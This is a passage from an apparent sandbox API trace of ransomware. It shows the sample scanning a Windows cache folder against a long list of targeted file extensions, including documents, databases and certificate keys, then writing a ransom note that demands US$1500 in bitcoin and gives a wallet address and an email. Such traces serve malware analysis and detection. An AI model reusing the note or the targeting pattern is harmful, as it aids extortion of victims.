Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.mdb") returned 0 [0144.348] lstrlenA (lpString="*.mdb") returned 5 [0144.348] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.fdb") returned 0 [0144.348] lstrlenA (lpString="*.fdb") returned 5 [0144.348] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.wab") returned 0 [0144.348] lstrlenA (lpString="*.wab") returned 5 [0144.348] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.dat") returned 0 [0144.348] lstrlenA (lpString="*.dat") returned 5 [0144.348] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.txt") returned 0 [0144.348] lstrlenA (lpString="*.txt") returned 5 [0144.348] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.jpeg") returned 0 [0144.348] lstrlenA (lpString="*.jpeg") returned 6 [0144.348] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.jpg") returned 0 [0144.348] lstrlenA (lpString="*.jpg") returned 5 [0144.348] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.png") returned 0 [0144.348] lstrlenA (lpString="*.png") returned 5 [0144.348] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.php") returned 0 [0144.348] lstrlenA (lpString="*.php") returned 5 [0144.348] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.cs") returned 0 [0144.348] lstrlenA (lpString="*.cs") returned 4 [0144.348] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.cpp") returned 0 [0144.348] lstrlenA (lpString="*.cpp") returned 5 [0144.349] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.rar") returned 0 [0144.349] lstrlenA (lpString="*.rar") returned 5 [0144.349] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.zip") returned 0 [0144.349] lstrlenA (lpString="*.zip") returned 5 [0144.349] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.html") returned 0 [0144.349] lstrlenA (lpString="*.html") returned 6 [0144.349] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.htm") returned 0 [0144.349] lstrlenA (lpString="*.htm") returned 5 [0144.349] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.xlsx") returned 0 [0144.349] lstrlenA (lpString="*.xlsx") returned 6 [0144.349] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.xls") returned 0 [0144.349] lstrlenA (lpString="*.xls") returned 5 [0144.349] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.mp4") returned 0 [0144.349] lstrlenA (lpString="*.mp4") returned 5 [0144.349] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.ppt") returned 0 [0144.349] lstrlenA (lpString="*.ppt") returned 5 [0144.349] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.pptx") returned 0 [0144.349] lstrlenA (lpString="*.pptx") returned 6 [0144.349] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.doc") returned 0 [0144.349] lstrlenA (lpString="*.doc") returned 5 [0144.349] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.dot") returned 0 [0144.349] lstrlenA (lpString="*.dot") returned 5 [0144.349] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.docx") returned 0 [0144.349] lstrlenA (lpString="*.docx") returned 6 [0144.349] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.7z") returned 0 [0144.350] lstrlenA (lpString="*.7z") returned 4 [0144.350] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.tar") returned 0 [0144.350] lstrlenA (lpString="*.tar") returned 5 [0144.350] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.bz2") returned 0 [0144.350] lstrlenA (lpString="*.bz2") returned 5 [0144.350] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.gz") returned 0 [0144.350] lstrlenA (lpString="*.gz") returned 4 [0144.350] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.mkv") returned 0 [0144.350] lstrlenA (lpString="*.mkv") returned 5 [0144.350] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.eml") returned 0 [0144.350] lstrlenA (lpString="*.eml") returned 5 [0144.350] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.msg") returned 0 [0144.350] lstrlenA (lpString="*.msg") returned 5 [0144.350] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.edb") returned 0 [0144.350] lstrlenA (lpString="*.edb") returned 5 [0144.350] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.accdb") returned 0 [0144.350] lstrlenA (lpString="*.accdb") returned 7 [0144.350] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.odb") returned 0 [0144.350] lstrlenA (lpString="*.odb") returned 5 [0144.350] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.java") returned 0 [0144.351] lstrlenA (lpString="*.java") returned 6 [0144.351] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.asm") returned 0 [0144.351] lstrlenA (lpString="*.asm") returned 5 [0144.351] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.pfx") returned 0 [0144.351] lstrlenA (lpString="*.pfx") returned 5 [0144.351] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.pem") returned 0 [0144.351] lstrlenA (lpString="*.pem") returned 5 [0144.351] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.p12") returned 0 [0144.351] lstrlenA (lpString="*.p12") returned 5 [0144.351] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.gpg") returned 0 [0144.351] lstrlenA (lpString="*.gpg") returned 5 [0144.351] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.vsd") returned 0 [0144.351] lstrlenA (lpString="*.vsd") returned 5 [0144.351] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.odg") returned 0 [0144.351] lstrlenA (lpString="*.odg") returned 5 [0144.351] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.raw") returned 0 [0144.351] lstrlenA (lpString="*.raw") returned 5 [0144.351] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.nef") returned 0 [0144.351] lstrlenA (lpString="*.nef") returned 5 [0144.351] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.svg") returned 0 [0144.351] lstrlenA (lpString="*.svg") returned 5 [0144.351] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.psd") returned 0 [0144.351] lstrlenA (lpString="*.psd") returned 5 [0144.351] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.vmx") returned 0 [0144.351] lstrlenA (lpString="*.vmx") returned 5 [0144.351] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.vmdk") returned 0 [0144.352] lstrlenA (lpString="*.vmdk") returned 6 [0144.352] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.vdi") returned 0 [0144.352] lstrlenA (lpString="*.vdi") returned 5 [0144.352] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.lay6") returned 0 [0144.352] lstrlenA (lpString="*.lay6") returned 6 [0144.352] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.mpeg") returned 0 [0144.352] lstrlenA (lpString="*.mpeg") returned 6 [0144.352] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.djvu") returned 0 [0144.352] lstrlenA (lpString="*.djvu") returned 6 [0144.352] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.tiff") returned 0 [0144.352] lstrlenA (lpString="*.tiff") returned 6 [0144.352] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.backup") returned 0 [0144.352] lstrlenA (lpString="*.backup") returned 8 [0144.352] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.pdf") returned 0 [0144.352] lstrlenA (lpString="*.pdf") returned 5 [0144.352] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.cert") returned 0 [0144.352] lstrlenA (lpString="*.cert") returned 6 [0144.352] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.docm") returned 0 [0144.352] lstrlenA (lpString="*.docm") returned 6 [0144.352] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.xlsm") returned 0 [0144.352] lstrlenA (lpString="*.xlsm") returned 6 [0144.352] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.dwg") returned 0 [0144.352] lstrlenA (lpString="*.dwg") returned 5 [0144.352] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.nd") returned 0 [0144.352] lstrlenA (lpString="*.nd") returned 4 [0144.352] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.tlg") returned 0 [0144.353] lstrlenA (lpString="*.tlg") returned 5 [0144.353] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.lgb") returned 0 [0144.353] lstrlenA (lpString="*.lgb") returned 5 [0144.353] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.mov") returned 0 [0144.353] lstrlenA (lpString="*.mov") returned 5 [0144.353] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.xdw") returned 0 [0144.353] lstrlenA (lpString="*.xdw") returned 5 [0144.353] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.ods") returned 0 [0144.353] lstrlenA (lpString="*.ods") returned 5 [0144.353] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.wav") returned 0 [0144.353] lstrlenA (lpString="*.wav") returned 5 [0144.353] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.mp3") returned 0 [0144.353] lstrlenA (lpString="*.mp3") returned 5 [0144.353] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.aiff") returned 0 [0144.353] lstrlenA (lpString="*.aiff") returned 6 [0144.353] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.flac") returned 0 [0144.353] lstrlenA (lpString="*.flac") returned 6 [0144.353] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.m4a") returned 0 [0144.353] lstrlenA (lpString="*.m4a") returned 5 [0144.353] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\62AXOPQ5\\desktop.ini", pszSpec="*.csv") returned 0 [0144.353] lstrlenA (lpString="*.csv") returned 5 [0144.353] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24a7d166, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a7d166, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a7d166, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0144.353] FindClose (in: hFindFile=0x502798 | out: hFindFile=0x502798) returned 1 [0144.353] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24a30ea6, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x24a30ea6, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x24a30ea6, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.354] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0144.354] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0144.354] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0144.354] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0144.354] PathFindFileNameA (pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*.*") returned="*.*" [0144.354] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\" [0144.354] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\" | out: pszPath="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\") returned="" [0144.354] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\HOW TO DECRYPT FILES.txt" [0144.354] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\how to decrypt files.txt")) returned 0xffffffff [0144.354] CreateFileA (lpFileName="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0144.358] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0144.358] WriteFile (in: hFile=0xa4, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0144.359] SetFileTime (hFile=0xa4, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0144.360] CloseHandle (hObject=0xa4) returned 1 [0144.360] lstrcatA (in: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\", lpString2="desktop.ini" | out: lpString1="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini") returned="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini" [0144.360] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.ems") returned 0 [0144.360] lstrlenA (lpString="*.ems") returned 5 [0144.360] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.db") returned 0 [0144.361] lstrlenA (lpString="*.db") returned 4 [0144.361] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.dbf") returned 0 [0144.361] lstrlenA (lpString="*.dbf") returned 5 [0144.361] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.myox") returned 0 [0144.361] lstrlenA (lpString="*.myox") returned 6 [0144.361] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.myo") returned 0 [0144.361] lstrlenA (lpString="*.myo") returned 5 [0144.361] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qbw") returned 0 [0144.361] lstrlenA (lpString="*.qbw") returned 5 [0144.361] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qbb") returned 0 [0144.361] lstrlenA (lpString="*.qbb") returned 5 [0144.361] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qbm") returned 0 [0144.361] lstrlenA (lpString="*.qbm") returned 5 [0144.361] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qbo") returned 0 [0144.361] lstrlenA (lpString="*.qbo") returned 5 [0144.361] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qbx") returned 0 [0144.361] lstrlenA (lpString="*.qbx") returned 5 [0144.361] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qba") returned 0 [0144.361] lstrlenA (lpString="*.qba") returned 5 [0144.361] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qby") returned 0 [0144.361] lstrlenA (lpString="*.qby") returned 5 [0144.361] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qbj") returned 0 [0144.361] lstrlenA (lpString="*.qbj") returned 5 [0144.361] PathMatchSpecA (pszFile="C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.ofx") returned 0 [0144.362] lstrlenA (lpString="*.ofx") returned 5 